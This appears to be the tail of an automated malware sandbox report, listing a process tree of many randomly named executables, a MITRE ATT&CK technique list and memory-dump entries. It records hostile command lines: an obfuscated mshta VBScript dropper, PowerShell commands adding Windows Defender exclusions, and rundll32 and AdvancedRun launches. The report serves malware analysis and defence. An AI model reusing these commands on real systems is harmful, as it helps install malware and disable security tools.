    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:18028
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:18188
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10368
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11220
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10984
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10828
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10748
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10672
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10376
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9980
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4952
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9444
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10192
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7200
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9436
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9316
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9912
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9752
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9672
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9620
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9284
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1120
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7540
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8176
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7404
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7284
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5708
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7160
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7268
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9036
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:900
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7176
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5272
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5228
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7468
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7020
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7152
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7272
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4904
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8908
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8140
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6280
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8764
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5312
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6468
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9208
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9120
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9004
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8912
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8824
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8744
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8684
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8616
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8564
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7904
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7508
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6368
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6676
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3768
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4396
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7608
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5864
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7580
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8120
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8036
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7840
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4408
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7108
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6888
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6392
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2968
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3560
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4436
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15224
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:18048
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:17956
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16976
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9204
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13484
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16972
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16676
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14792
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4260
- C:\Users\Admin\Documents\3M1H4Tj8d9IrWQTflYtpkgKp.exe
  "C:\Users\Admin\Documents\3M1H4Tj8d9IrWQTflYtpkgKp.exe"
  2⤵
  PID:1936
- C:\Users\Admin\Documents\v6hOA__cUvSpDQOR1kbc6xrG.exe
  "C:\Users\Admin\Documents\v6hOA__cUvSpDQOR1kbc6xrG.exe"
  2⤵
  PID:440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 440 -s 888
    3⤵
    - Program crash
    PID:1680
- C:\Users\Admin\Documents\8G_86hjdZxSbOemE1vtMOWV0.exe
  "C:\Users\Admin\Documents\8G_86hjdZxSbOemE1vtMOWV0.exe"
  2⤵
  PID:908
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\Documents\8G_86hjdZxSbOemE1vtMOWV0.exe"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF """" == """" for %Q in ( ""C:\Users\Admin\Documents\8G_86hjdZxSbOemE1vtMOWV0.exe"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )
    3⤵
    PID:3784
- C:\Users\Admin\Documents\OSZ3btnBb3wIA7hRnkThVX8x.exe
  "C:\Users\Admin\Documents\OSZ3btnBb3wIA7hRnkThVX8x.exe"
  2⤵
  PID:1756
- C:\Users\Admin\Documents\eji7rae70v992vgDp35HEHDJ.exe
  "C:\Users\Admin\Documents\eji7rae70v992vgDp35HEHDJ.exe"
  2⤵
  PID:1300
- - C:\Users\Admin\AppData\Local\Temp\2a0d3c5c-f57b-4935-97dc-d2fa19ea92bd\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\2a0d3c5c-f57b-4935-97dc-d2fa19ea92bd\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2a0d3c5c-f57b-4935-97dc-d2fa19ea92bd\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:1524
  - - C:\Users\Admin\AppData\Local\Temp\2a0d3c5c-f57b-4935-97dc-d2fa19ea92bd\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\2a0d3c5c-f57b-4935-97dc-d2fa19ea92bd\AdvancedRun.exe" /SpecialRun 4101d8 1524
      4⤵
      PID:2608
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\eji7rae70v992vgDp35HEHDJ.exe" -Force
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\eji7rae70v992vgDp35HEHDJ.exe" -Force
    3⤵
    PID:3384
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
    3⤵
    PID:3608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
    3⤵
    PID:3640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
    3⤵
    PID:3648
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
    3⤵
    PID:3668
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    3⤵
    PID:3688
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
    3⤵
    PID:3712
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:3720
- C:\Users\Admin\Documents\qCYrNIqfEueGA5cSffaTrf_d.exe
  "C:\Users\Admin\Documents\qCYrNIqfEueGA5cSffaTrf_d.exe"
  2⤵
  PID:1356

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1588
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/556-176-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/848-181-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

Filesize
4KB

Download
memory/888-95-0x0000000000020000-0x000000000002A000-memory.dmp

Filesize
40KB

Download
memory/976-1074-0x0000000000310000-0x00000000003AD000-memory.dmp

Filesize
628KB

Download
memory/1068-1090-0x00000000006C0000-0x00000000006C1000-memory.dmp

Filesize
4KB

Download
memory/1108-182-0x0000000001000000-0x0000000001001000-memory.dmp

Filesize
4KB

Download
memory/1300-189-0x0000000004720000-0x0000000004792000-memory.dmp

Filesize
456KB

Download
memory/1300-168-0x00000000002D0000-0x00000000002D1000-memory.dmp

Filesize
4KB

Download
memory/1560-186-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Filesize
4KB

Download
memory/1584-157-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

Filesize
8KB

Download
memory/1756-194-0x00000000011E0000-0x00000000011E1000-memory.dmp

Filesize
4KB

Download
memory/1808-180-0x0000000000930000-0x0000000000931000-memory.dmp

Filesize
4KB

Download
memory/1808-236-0x00000000004E0000-0x00000000004FE000-memory.dmp

Filesize
120KB

Download
memory/1812-68-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/1892-60-0x0000000075D51000-0x0000000075D53000-memory.dmp

Filesize
8KB

Download
memory/1892-61-0x0000000003B40000-0x0000000003C7F000-memory.dmp

Filesize
1.2MB

Download
memory/1936-172-0x0000000001020000-0x0000000001021000-memory.dmp

Filesize
4KB

Download
memory/2008-191-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/2076-200-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2080-198-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2112-1062-0x000000001AB10000-0x000000001AB12000-memory.dmp

Filesize
8KB

Download
memory/2112-161-0x00000000004E0000-0x00000000004F9000-memory.dmp

Filesize
100KB

Download
memory/2112-159-0x0000000000920000-0x0000000000921000-memory.dmp

Filesize
4KB

Download
memory/2160-1067-0x00000000001B0000-0x00000000001DF000-memory.dmp

Filesize
188KB

Download
memory/2212-207-0x00000000049D0000-0x00000000049EA000-memory.dmp

Filesize
104KB

Download
memory/2212-202-0x0000000002E50000-0x0000000002E6C000-memory.dmp

Filesize
112KB

Download
memory/2228-208-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2232-1054-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2232-1058-0x0000000000170000-0x0000000000182000-memory.dmp

Filesize
72KB

Download
memory/6336-1079-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/6676-1084-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download
memory/8372-1071-0x0000000000460000-0x0000000000461000-memory.dmp

Filesize
4KB

Download